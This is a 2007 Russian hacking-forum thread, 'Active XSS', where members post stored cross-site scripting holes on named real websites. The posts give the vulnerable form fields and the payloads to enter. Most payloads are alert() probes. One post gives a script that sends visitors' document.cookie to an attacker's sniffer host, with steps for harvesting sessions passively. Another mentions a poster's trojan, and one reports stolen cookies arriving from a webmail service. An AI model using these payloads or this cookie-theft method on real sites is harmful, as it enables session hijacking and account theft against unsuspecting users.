HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Активные Xss
   
Ответ
Страница 1 из 54 1 2 3 4 5 1151 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

Активные Xss
  #1  
Старый 18.03.2007, 15:08
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами: 11217866

Репутация: 3812


По умолчанию Активные Xss
Тут постим тока активные XSS.

Так же сайт на котором вы нашли xss должен быть более или менее популярным:

1. Он не должен быть расположен на бесплатном хостинге.

2. Так же тиц и pr сайтов должны быть соотвественно не ниже 100 и 3. Сайтов удовлетворяющих этому требованию хоть отбавляй, а вот постить и искать xss на совсем не известных не интресно и не имеет смысла вообще.

Желательно (но не обязательно), что бы сайты были на it тематику, или к примеру более менее известные треккеры, порталы.
𝕏 Twitter Reddit Telegram Копировать ссылку
__________________
Последний раз редактировалось Grey; 13.07.2008 в 00:02..
 
Ответить с цитированием

  #2  
Старый 19.03.2007, 01:26
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами: 10254549

Репутация: 227
По умолчанию
Сайт с хак-софтом, там и мой трой лежит))
samouchka.net - когда коммент добавляешь впиши.
<img src=http://samouchka.net/engine/data/emoticons/sad.gif onload=XSS]
Последний раз редактировалось o3,14um; 19.03.2007 в 01:29..
 
Ответить с цитированием

  #3  
Старый 19.03.2007, 13:16
freddi
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
С нами: 10447337

Репутация: 807
По умолчанию
www.jjurnal.ru

Довольно популярный жж.
Постим сообщение от анонимного пользователя.
Уязвимо поле "Имя:"
"><script>alert()</script>

Работает в опере и ие.
Последний раз редактировалось freddi; 19.03.2007 в 18:59..
 
Ответить с цитированием

  #4  
Старый 19.03.2007, 14:25
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию
email.ru

может и было..ибо XSS самая тупая))
..
отправляем письмо ..естестн в html....

Код:
<script>alert()</script>
или
Код:
<img src=javascript:alert()>
 
Ответить с цитированием

  #5  
Старый 19.03.2007, 20:11
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


По умолчанию
serials.softkiller.net
В теме любого кряка пишем камент с хсс
Код:
"><script>alert('xss')</script>
 
Ответить с цитированием

proplay.ru
  #6  
Старый 19.03.2007, 21:29
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами: 10188326

Репутация: 1866


По умолчанию proplay.ru
proplay.ru

Идём в раздел "Команды":
--http://www.proplay.ru/team/
Там создаём новую команду.
Уязвимыми являются поля:
-Игры
-IRC канал
-Домашняя страница

Test:
--http://www.proplay.ru/team/744/
 
Ответить с цитированием

  #7  
Старый 20.03.2007, 23:56
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию
sysadmin.mail.ru

Заходи на sysadmin.mail.ru.....
Сморим *Сервисы Сисадмина* там лезим в *Моя регистрационная анкета*
в поле Крупный город: Выбираем любой город))
далее в поле Свой город/район: строчим
Код:
"><script>img = new Image(); img.src = "http://сайт.ru/сниффер.gif?"+document.cookie;</script>
и жмём Сохранить изменения...
после переходим в Whois ..находим наш город...если в списке ников есть наш ник.....значит куки уже на снифе))ибо ненадо даже давать ссылку на свой профиль...просто на город где ваш логин))
 
Ответить с цитированием

  #8  
Старый 26.03.2007, 11:49
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


По умолчанию
www.qiq.ru
После регистрации, в профиле изменяем уязвимые поля, а именно:
1)Место жительства
2)О себе
А этих местах пишем
Код:
"><script>alert(/xss/)</script>
Пример
 
Ответить с цитированием

  #9  
Старый 05.04.2007, 23:22
freddi
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
С нами: 10447337

Репутация: 807
По умолчанию
comby.ru


Везде где можно оставить комментарий:
Код:
<img src=javascript:alert()>
вылезет алерт.

Работает в ие и опере.
Последний раз редактировалось freddi; 05.04.2007 в 23:27..
 
Ответить с цитированием

  #10  
Старый 26.05.2007, 21:14
freddi
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
С нами: 10447337

Репутация: 807
По умолчанию
mail.ru yandex.ru rambler.ru

отправляем сообщение на почту и прикладываем файлик txt со скриптом. если открыть его в ие то вылезет алерт, должно сработать и в опере(не хочу ставить чтобы проверять), а в фф не работает.
минус: все что вы напишете в этот файл отобразится в письме(кроме рамблера)

на мейле прикрыли. куки норм приходят только на рамблер.
Последний раз редактировалось freddi; 05.06.2007 в 23:09..
 
Ответить с цитированием
Ответ
Страница 1 из 54 1 2 3 4 5 1151 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss для новичков Micr0b Уязвимости 79 06.07.2018 22:05
Xss bx_N Forum for discussion of ANTICHAT 7 11.03.2007 19:17
mylivepage.ru активные XSS __XT__ Уязвимости 3 23.12.2006 14:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.